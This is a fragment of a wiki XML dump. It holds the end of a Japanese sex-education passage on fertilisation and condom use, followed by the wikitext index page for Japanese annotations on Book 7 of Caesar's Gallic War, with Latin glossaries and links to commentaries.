{{ruby|膣内|ちつない}}で{{ruby|射精|しゃせい}}することで、{{ruby|精子|せいし}}は{{ruby|卵管|らんかん}}に{{ruby|向|む}}かい{{ruby|卵子|らんし}}の{{ruby|中|なか}}に{{ruby|入|い}}り{{ruby|込|こ}}み{{ruby|受精|じゅせい}}します。つまり、{{ruby|膣内|ちつない}}で{{ruby|射精|しゃせい}}してしまうと{{ruby|赤|あか}}ちゃんができる{{ruby|可能性|かのうせい}}があるということです。そのため、セックスを{{ruby|行|おこな}}うとき、{{ruby|赤|あか}}ちゃんがほしくない、{{ruby|赤|あか}}ちゃんができても{{ruby|育|そだ}}てられないときは{{ruby|避妊|ひにん}}（{{ruby|赤|あか}}ちゃんができないようにする）することが{{ruby|大切|たいせつ}}です。{{ruby|避妊|ひにん}}にはコンドームと{{ruby|呼|よ}}ばれる{{ruby|薄|うす}}い{{ruby|膜|まく}}を、{{ruby|勃起|ぼっき}}した{{ruby|陰茎|いんけい}}に{{ruby|被|かぶ}}せるという{{ruby|方法|ほうほう}}が{{ruby|主流|しゅりゅう}}です。きちんとコンドームが{{ruby|着|つ}}けられていれば、お{{ruby|互|たが}}いの{{ruby|性器|せいき}}や{{ruby|体液|たいえき}}が{{ruby|直接接|ちょくせつせっ}}することはないので、{{ruby|避妊|ひにん}}の{{ruby|成功率|せいこうりつ}}は{{ruby|極|きわ}}めて{{ruby|高|たか}}いです。しかし、{{ruby|避妊|ひにん}}することで100%{{ruby|赤|あか}}ちゃんができる{{ruby|危険性|きけんせい}}がなくなるわけではないため、{{ruby|責任|せきにん}}をもてる{{ruby|年齢|ねんれい}}になってからセックスは{{ruby|行|おこな}}うべきでしょう。</text>
      <sha1>n8nax1q4hz8hyddps2o3612or1vn9lr</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記 第7巻/注解</title>
    <ns>0</ns>
    <id>46580</id>
    <revision>
      <id>305249</id>
      <parentid>305140</parentid>
      <timestamp>2026-11-01T06:53:51Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 各節注解 */ 進捗</comment>
      <origin>305249</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="23285" sha1="0byjiihuh0gwl593eyb3crsl7t36iyi" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;background-color:#fff0ff;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;background-color:#fff0ff;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;span style=&quot;font-size:13pt;&quot;&gt;『&lt;span style=&quot;background-color:#ffc;&quot;&gt;[[ガリア戦記 第7巻]]&lt;/span&gt;』の単語や構文を詳しく読み解く &lt;span style=&quot;background-color:#fc8;font-size:15pt;&quot;&gt;'''[[ガリア戦記/注解編|注解編]]'''&lt;/span&gt; の目次。&lt;/span&gt;


{| id=&quot;toc&quot; style=&quot;border:0px #ddf; align:left;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#ccf; text-align:center;&quot; colspan=&quot;10&quot;| ガリア戦記 第7巻 注解
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/1節|1節]]
|[[/2節|2節]]
|[[/3節|3節]]
|[[/4節|4節]]
|[[/5節|5節]]
|[[/6節|6節]]
|[[/7節|7節]]
|[[/8節|8節]]
|[[/9節|9節]]
|[[/10節|10節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/11節|11節]]
|[[/12節|12節]]
|[[/13節|13節]]
|[[/14節|14節]]
|[[/15節|15節]]
|[[/16節|16節]]
|[[/17節|17節]]
|[[/18節|18節]]
|[[/19節|19節]] 
|[[/20節|20節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/21節|21節]]
|[[/22節|22節]]
|[[/23節|23節]]
|[[/24節|24節]]
|[[/25節|25節]]
|[[/26節|26節]]
|[[/27節|27節]]
|[[/28節|28節]]
|[[/29節|29節]]
|[[/30節|30節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/31節|31節]]
|[[/32節|32節]]
|[[/33節|33節]]
|[[/34節|34節]]
|[[/35節|35節]]
|[[/36節|36節]]
|[[/37節|37節]]
|[[/38節|38節]]
|[[/39節|39節]]
|[[/40節|40節]]&lt;!--
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/41節|41節]]
|[[/42節|42節]]
|[[/43節|43節]]
|[[/44節|44節]]
|[[/45節|45節]]
|[[/46節|46節]]
|[[/47節|47節]]
|[[/48節|48節]]
|[[/49節|49節]]
|[[/50節|50節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/51節|51節]]
|[[/52節|52節]]
|[[/53節|53節]]
|[[/54節|54節]]
|[[/55節|55節]]
|[[/56節|56節]]
|[[/57節|57節]]
|[[/58節|58節]]
|[[/59節|59節]]
|[[/60節|60節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/61節|61節]]
|[[/62節|62節]]
|[[/63節|63節]]
|[[/64節|64節]]
|[[/65節|65節]]
|[[/66節|66節]]
|[[/67節|67節]]
|[[/68節|68節]]
|[[/69節|69節]]
|[[/70節|70節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/71節|71節]]
|[[/72節|72節]]
|[[/73節|73節]]
|[[/74節|74節]]
|[[/75節|75節]]
|[[/76節|76節]]
|[[/77節|77節]]
|[[/78節|78節]]
|[[/79節|79節]]
|[[/80節|80節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/81節|81節]]
|[[/82節|82節]]
|[[/83節|83節]]
|[[/84節|84節]]
|[[/85節|85節]]
|[[/86節|86節]]
|[[/87節|87節]]
|[[/88節|88節]]
|[[/89節|89節]]
|[[/90節|90節]]

| colspan=&quot;6&quot; |
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/1節|1節]]
|[[/2節|2節]]
|[[/3節|3節]]
|[[/4節|4節]]
|[[/5節|5節]]
|[[/6節|6節]]
|[[/7節|7節]]
|[[/8節|8節]]
|[[/9節|9節]]
|[[/0節|0節]]
--&gt;
|-
| style=&quot;background:#f5fefe; text-align:left; font-size: 0.8em;&quot; colspan=&quot;10&quot;| 
[[ガリア戦記 第1巻/注解|'''注解'''&amp;nbsp; 第1巻]] |
[[ガリア戦記 第2巻/注解|第2巻]] |
[[ガリア戦記 第3巻/注解|第3巻]] |
[[ガリア戦記 第4巻/注解|第4巻]] |
[[ガリア戦記 第5巻/注解|第5巻]] |
[[ガリア戦記 第6巻/注解|第6巻]] |
[[ガリア戦記 第7巻/注解|第7巻]] |&lt;!--
[[ガリア戦記 第8巻/注解|第8巻]]--&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__


== 各節注解 ==
[[画像:Gaule_-52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]
===カルヌーテース族の蜂起===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/1節]]　{{進捗|25%|2025-11-03}}&lt;/span&gt;　（175語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/2節]]　{{進捗|25%|2025-11-05}}&lt;/span&gt;　（71語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/3節]]　{{進捗|25%|2025-11-17}}&lt;/span&gt;　（93語）　　　短い節


===ウェルキンゲトリークスとガッリア同盟軍の蜂起===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/4節]]　{{進捗|25%|2025-12-05}}&lt;/span&gt;　（202語）　　長い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/5節]]　{{進捗|25%|2025-12-14}}&lt;/span&gt;　（128語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/6節]]　{{進捗|25%|2025-12-15}}&lt;/span&gt;　（67語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/7節]]　{{進捗|25%|2025-12-16}}&lt;/span&gt;　（78語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/8節]]　{{進捗|25%|2026-01-03}}&lt;/span&gt;　（126語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/9節]]　{{進捗|25%|2026-01-15}}&lt;/span&gt;　（143語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/10節]]　{{進捗|25%|2026-01-16}}&lt;/span&gt;　（96語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/11節]]　{{進捗|25%|2026-02-02}}&lt;/span&gt;　（181語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/12節]]　{{進捗|25%|2026-02-25}}&lt;/span&gt;　（118語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/13節]]　{{進捗|25%|2026-02-25}}&lt;/span&gt;　（88語）　　　短い節


===アウァーリクム攻略戦===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/14節]]　{{進捗|25%|2026-03-08}}&lt;/span&gt;　（177語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/15節]]　{{進捗|25%|2026-03-08}}&lt;/span&gt;　（114語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/16節]]　{{進捗|25%|2026-03-26}}&lt;/span&gt;　（64語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/17節]]　{{進捗|25%|2026-03-29}}&lt;/span&gt;　（183語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/18節]]　{{進捗|25%|2026-04-21}}&lt;/span&gt;　（81語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/19節]]　{{進捗|25%|2026-04-21}}&lt;/span&gt;　（145-147語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/20節]]　{{進捗|25%|2026-05-05}}&lt;/span&gt;　（307-310語）　　かなり長い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/21節]]　{{進捗|25%|2026-05-17}}&lt;/span&gt;　（61語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/22節]]　{{進捗|25%|2026-06-08}}&lt;/span&gt;　（115語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/23節]]　{{進捗|25%|2026-06-21}}&lt;/span&gt;　（129語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/24節]]　{{進捗|25%|2026-06-21}}&lt;/span&gt;　（147語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/25節]]　{{進捗|25%|2026-07-08}}&lt;/span&gt;　（121語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/26節]]　{{進捗|25%|2026-07-19}}&lt;/span&gt;　（119語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/27節]]　{{進捗|25%|2026-08-01}}&lt;/span&gt;　（79語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/28節]]　{{進捗|25%|2026-08-12}}&lt;/span&gt;　（162語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/29節]]　{{進捗|25%|2026-08-12}}&lt;/span&gt;　（122語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/30節]]　{{進捗|25%|2026-08-29}}&lt;/span&gt;　（90語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/31節]]　{{進捗|25%|2026-08-29}}&lt;/span&gt;　（107語）


===ゲルゴウィア攻略戦、ハエドゥイー族の離反===
*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/32節]]　{{進捗|25%|2026-09-23}}&lt;/span&gt;　（150語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/33節]]　{{進捗|25%|2026-10-04}}&lt;/span&gt;　（150語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/34節]]　{{進捗|25%|2026-10-18}}&lt;/span&gt;　（90語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/35節]]　{{進捗|25%|2026-10-25}}&lt;/span&gt;　（134語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;　（190語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/37節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;

== 関連項目 ==
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記]]&lt;/span&gt;&lt;!--【2006年4月23日起稿】--&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編]]&lt;/span&gt;&lt;!--(2020-03-27)--&gt;
***&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編/写本と校訂版]]　{{進捗|00%|2020-04-17}}&lt;/span&gt;&lt;!--(2020-04-17)--&gt;
***&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編/表記のゆれ]]　　{{進捗|00%|2026-03-29}}&lt;/span&gt;&lt;!--(2026-03-29)--&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/用例集]]　　　　　　　　　{{進捗|00%|2020-03-29}}&lt;/span&gt;&lt;!--(2020-03-29)--&gt;
**[[ガリア戦記/内容目次]]：巻・章・節の内容を記した目次　{{進捗|75%|2011-04-02}}
**[[ガリア戦記/参照画像一覧]]：本文で参照した画像一覧　 {{進捗|75%|2011-04-16}}
*&lt;span style=&quot;background-color:#ffd;font-size:15px;&quot;&gt;[[古典ラテン語]]　　　　　　　　　　　　　　　　　　　{{進捗|00%|2018-04-18}} &lt;/span&gt;

&lt;br&gt;&lt;div style=&quot;font-size:30pt;&quot;&gt;ĀĒĪŌŪ _āēīōū_āēīōū_ &amp;nbsp; Ă Ĕ Ĭ Ŏ Ŭ ă ĕ ĭ ŏ ŭ &lt;/div&gt;

&lt;div style=&quot;font-size:13pt;&quot;&gt;
&lt;math&gt;\overline{\mbox{VIIII}} &lt;/math&gt;
&lt;/div&gt;&lt;!-- [[w:Help:数式の表示]] --&gt;

&lt;!--▲三点--&gt;&amp;#8943;　&lt;!--◀左括弧--&gt;&amp;lsquo;　&lt;!--▶右括弧--&gt;&amp;rsquo;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;&lt;/span&gt;

&lt;!--
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;† : &lt;/span&gt;校訂者が、テクストが壊れていると判断した部分をこの記号で囲んでいる。
--&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

&lt;!--
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
--&gt;
&lt;!--
:　&lt;!--　[[wikt:en:|　--&gt;
--&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;!----&gt;&lt;!----&gt;&lt;!----&gt;&lt;!----&gt;
&lt;!--&lt;sup&gt;()&lt;/sup&gt; --&gt;
&lt;!--❶❷❸❹❺❻❼❽❾❿⓫⓬--&gt;&lt;!----&gt;

== 関連記事 ==
{{Wikisource|la:Commentarii de bello Gallico/Liber VII|ガリア戦記 第7巻(ラテン語)}}
*ウィキソース
**&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[s:la:Commentarii de bello Gallico/Liber VII]] (第7巻 ラテン語)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;background-color:#ffffcc;&quot;&gt;[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:7 Scaife Viewer | De Bello Gallico] (第7巻 ラテン語)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;background-color:#ffffcc;&quot;&gt;[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-eng2:7/ Scaife Viewer | Gallic War] (第7巻 英訳)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[s:fr:La Guerre des Gaules/Livre VII]] (第7巻 仏訳)&lt;/span&gt;
----
{{Commons|Category:Battles of Caesar's Gallic Wars|Battles of Caesar's Gallic Warsのカテゴリ}}
{{Commons|Category:Murus gallicus|Category:Murus gallicus ガリア壁のカテゴリ}}
*&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;[[wikt:fr:Catégorie:Mots en latin issus d’un mot en gaulois]]&lt;/span&gt;
----
*[[wikt:en:Vercingetorix#Latin|Vercingetorīx]]　ウェルキンゲトリークス
*[[wikt:en:Arverni#Latin|Arvernī]]　アルウェルニー族
:　
*[[wikt:en:agri_cultura#Latin|agrī cultūra]]
*[[wikt:en:bellum#Latin|bellum]]
*[[wikt:en:hiberna#Noun|hīberna]]
:　

===地名===
*[[wikt:en:Gallia#Latin|Gallia]]
**Gallia [[wikt:en:cisalpinus#Latin|cisalpīna]]　　ガッリア・キサルピーナ
**[[wikt:en:Gallia_transalpina#Latin|Gallia trānsalpīna]]　ガッリア・トラーンサルピーナ ＜ [[wikt:en:transalpinus#Latin|trānsalpīna]]
**Gallia [[wikt:en:comatus#Latin|comāta]]
*[[wikt:en:Germania#Latin|Germānia]]
:　
*[[wikt:en:Aquitania#Latin|Aquītānia]]　ア
*[[wikt:en:Avaricum#Latin|Avāricum]]　アウ
*[[wikt:en:Gergovia#Latin|Gergovia]]　

*[[wikt:en:Arduenna#Latin|Arduenna]]　
*[[wikt:en:Genabum#Latin|Genabum]]　
*[[wikt:en:Hercynia|Hercynia]]　
*[[wikt:en:Narbo#Latin|Narbō]]　ナルボー
*[[wikt:en:Noviodunum#Latin|Noviodūnum]]　ノウィオ
*[[wikt:en:Vellaunodunum#Latin|Vellaunodūnum]]　ウェッラ

===部族名===
*[[wikt:en:Galli#Latin|Gallī]]
*[[wikt:en:Aedui#Latin|(H)aeduī]]　➡　[[wikt:en:Haedui#Latin|Haeduī]]　
*[[wikt:en:Arverni#Latin|Arvernī]]　アルウェルニー族
*[[wikt:en:Bituriges#Latin|Biturigēs]]　ビトゥリゲース族
*[[wikt:en:Boii#Latin|Boiī]]　ボ
*[[wikt:en:Cadurci#Latin|Cadurcī]]　カドゥルキー族　＞　[[wikt:en:Cadurcus#Latin|Cadurcus]]
**[[wikt:en:Lucterius#Latin|Lucterius]]　ルクテリウス
*[[wikt:en:Carnutes#Latin|Carnūtēs]]　カルヌーテース族
*[[wikt:en:Cherusci#Latin|Chēruscī]]
*[[wikt:en:Condrusi#Latin|Condrūsī]]
*
*[[wikt:en:Eburones#Latin|Eburōnēs]]　（エブローネース）
*[[wikt:en:Gabali#Latin|Gabalī]]　ガバリー族
*[[wikt:en:Germani#Latin|Germānī]]
*[[wikt:en:Graecus#Noun|Graecī]]
*[[wikt:en:Haedui#Latin|Haeduī]]　ハエドゥイー族
*[[wikt:en:Helvetii#Latin|Helvētiī]]　ヘルウェーティイー族
*[[wikt:en:Helvii#Latin|Helviī]]　ヘルウィイー族
*[[wikt:en:Menapii#Latin|Menapiī]]
*[[wikt:en:Nervii#Latin|Nerviī]]
*[[wikt:en:Nitiobriges#Latin|Nitiobrigēs]]　ニティオブリゲース族
*[[wikt:en:Rauraci#Latin|Rauracī]]
*[[wikt:en:Remi#Latin|Rēmī]]　レーミー族
*[[wikt:en:Romani#Latin|Rōmānī]]
*[[wikt:en:Ruteni#Latin|Rutēnī]]　ルテーニー族
*[[wikt:en:Segni#Latin|Segnī]]　（セグニー）
*[[wikt:en:Senones#Latin|Senonēs]]　セノネース族
*[[wikt:en:Sequani#Latin|Sēquanī]]　（セークァニー）
*[[wikt:en:Suebi#Latin|Suēbī]]
*[[wikt:en:Sugambri#Latin|Sugambrī]]
*[[wikt:en:Tectosages#Latin|Tectosagēs]]　（テクトサゲース）
*[[wikt:en:Tencteri#Latin|Tenctērī]]
*[[wikt:en:Tolosates#Latin|Tolōsātēs]]　トローサーテース族
*[[wikt:en:Treveri#Latin|Trēverī]]
*[[wikt:en:Ubii#Latin|Ubiī]]
*[[wikt:en:Usipetes#Latin|Usipetēs]]
*[[wikt:en:Volcae#Latin|Volcae]]　ウォルカエ族
**[[wikt:en:Arecomici#Latin|Arecomicī]]　ア
:[[wikt:fr:Nemetes]]　（ネメテース）

===登場人物===
*[[wikt:en:Caesar#Latin|Caesar]]
:　
[[w:fr:Catégorie:Personnalité de la guerre des Gaules]]


:
*[[wikt:en:Commius|Commius]]
**[[w:コンミウス]]
**[[w:la:Commius]]
**[[w:en:Commius]]
**[[w:fr:Commios]]

*[[wikt:en:Cicero#Latin|Cicerō]]
**[[w:クィントゥス・トゥッリウス・キケロ|クイーントゥス・トゥッリウス・キケロー]]
**[[w:la:Quintus Tullius Cicero]]
**[[w:en:Quintus Tullius Cicero]]
**[[w:fr:Quintus Tullius Cicero]]

*[[wikt:en:Crassus#Latin|Crassus]]


*[[wikt:en:Labienus#Latin|Labiēnus]]
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]

&lt;!--
*?
**Crassus
***[[w:プブリウス・リキニウス・クラッスス]]
***[[w:la:Publius Licinius Crassus]]
***[[w:en:Publius Licinius Crassus (son of triumvir)]]
***[[w:fr:Publius Crassus]]
**Labienus (副官)

***[[w:la:Titus Labienus]]
***[[w:en:Titus Labienus]]
***[[w:fr:Titus Labienus]]

**Brutus
***[[w:デキムス・ユニウス・ブルトゥス・アルビヌス]]
***[[w:la:Decimus Iunius Brutus Albinus]]
***[[w:en:Decimus Junius Brutus Albinus]]
***[[w:fr:Decimus Junius Brutus Albinus]]
--&gt;

&lt;br&gt;
===第7巻の関連記事===


&lt;div style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;


&lt;/span&gt;


&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;&lt;/span&gt;

== 外部リンク ==
*[[ガリア戦記/注解編#外部リンク]]　を参照。
*[[ガリア戦記/注解編/写本と校訂版#オンライン注釈書等]]　等を参照。

===オンライン注釈書===

&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : notes by F. W. Kelsey (1897)====
:C. Iuli Caesaris De bello gallico libri VII : 
::Caesar's Gallic war : with an introduction, notes, and vocabulary
::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897) 
:::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=19 Contents] (#19)

;:─TEXT─
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=243 Commentarius Septimus] &amp;nbsp; (#243)

;:─NOTES─
:: '''Book 7''' 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=460 BOOK VII., I.-II.] (#460), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=461 III.-V.] (#461), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=462 VI.-IX.] (#462), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=463 X.-XII.] (#463), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=464 XIII.-XV.] (#464), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=465 XVI.-XVIII.] (#465), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=466 XIX.-XXI.] (#466), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=467 XXII.-XXIII.] (#467), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=468 XXIV.- ] (#468), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=469 XXV.-XXVIII.] (#469), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=470 XXIX.-XXXII.] (#470), 


:: '''Book 6'''
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=441 I.] (#441), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=442 II.-III.] (#442), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=443 IV.-VII.] (#443), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=444 VIII.-IX.] (#444), 
&lt;/div&gt;

====English translation by W. A. McDevitte &amp; W. S. Bohn (1869)====
# [http://www.forumromanum.org/literature/caesar/gallic.html (www.forumromanum.org)]
# (www.perseus.tufts.edu)
## [https://www.perseus.tufts.edu/hopper/text?doc=Caes.+Gal.+7.1 C. Julius Caesar, Gallic War, Book 7, chapter 1]


&lt;!--
====Eastman, Frederick Carlos., D'Ooge, Benjamin L. 1860-1940.(1917)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;
*[https://catalog.hathitrust.org/Record/001058370 Catalog Record: Caesar in Gaul and selections from the third... | HathiTrust Digital Library] (catalog.hathitrust.org)
:[https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=7&amp;skin=2021 #7 - Caesar in Gaul and selections from the third book of the Civil ... - Full View | HathiTrust Digital Library] (babel.hathitrust.org)
:BOOK IV. [https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=393&amp;skin=2021 #393 ]
:IV.34,-38.  [https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=403&amp;skin=2021 #403 ]
&lt;/span&gt;
--&gt;

====Harkness, Albert (1889)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;&quot;&gt;&lt;span style=&quot;font-size:15pt;&quot;&gt;Caesar's Commentaries on the Gallic War, 　&lt;/span&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;with notes, dictionary, and a map of Gaul.&lt;/span&gt;&lt;br&gt;　　&lt;span style=&quot;font-size:15pt;&quot;&gt;
　　edited by &lt;u&gt;[[w:en:Albert Harkness|Albert Harkness (1822-1907)]]&lt;/u&gt; &lt;ref&gt;[http://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Harkness%2C%20Albert%2C%201822%2D1907 Harkness, Albert, 1822-1907 | The Online Books Page]&lt;/ref&gt;, New York, [[w:en:D. Appleton &amp; Company|D. Appleton and Company]], 1889 (Rivised Edition)&lt;/span&gt;&lt;/span&gt;
::Caesar's commentaries on the Gallic war; with notes, dictionary, ... (Full View | HathiTrust Digital Library)

;　BOOK SEVENTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=373 #373]
;　DICTIONARY
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=387 #387]


===Humanitext Reader===
&lt;div style=&quot;background-color:#ffffdd;&quot;&gt;
* Humanitext Reader｜ギリシア語・ラテン語古典の原文と日本語訳　-　https://reader.humanitext.ai/
* Humanitext Reader — Greek &amp; Latin Classics with English Translation　-　https://reader.humanitext.ai/en
*:※日本語・英語・中国語・韓国語の４言語により、ギリシア語・ラテン語作品との対訳テキストを読むことができる。
** [https://reader.humanitext.ai/library/phi0448.phi001.humanitext-lat2 ガリア戦記（ユリウス・カエサル）原文・日本語訳・あらすじ — Gallic War · Humanitext Reader]
*** [https://reader.humanitext.ai/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:1.1.1-1.1.7 ガリアの三分とそこに住む諸部族｜『ガリア戦記』§1.1.1-1.1.7（ユリウス・カエサル）ラテン語原文・日本語訳 · Humanitext Reader]
** [https://reader.humanitext.ai/en/library/phi0448.phi001.humanitext-lat2 Gallic War (Julius Caesar) — Original Latin Text, English Translation &amp; Summary · Humanitext Reader]
*** [https://reader.humanitext.ai/en/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:1.1.1-1.1.7 The Three Divisions of Gaul and Their Inhabitants — Gallic War §1.1.1-1.1.7 (Julius Caesar) | Latin text &amp; English translation · Humanitext Reader]
&lt;/div&gt;
===IntraText CT===
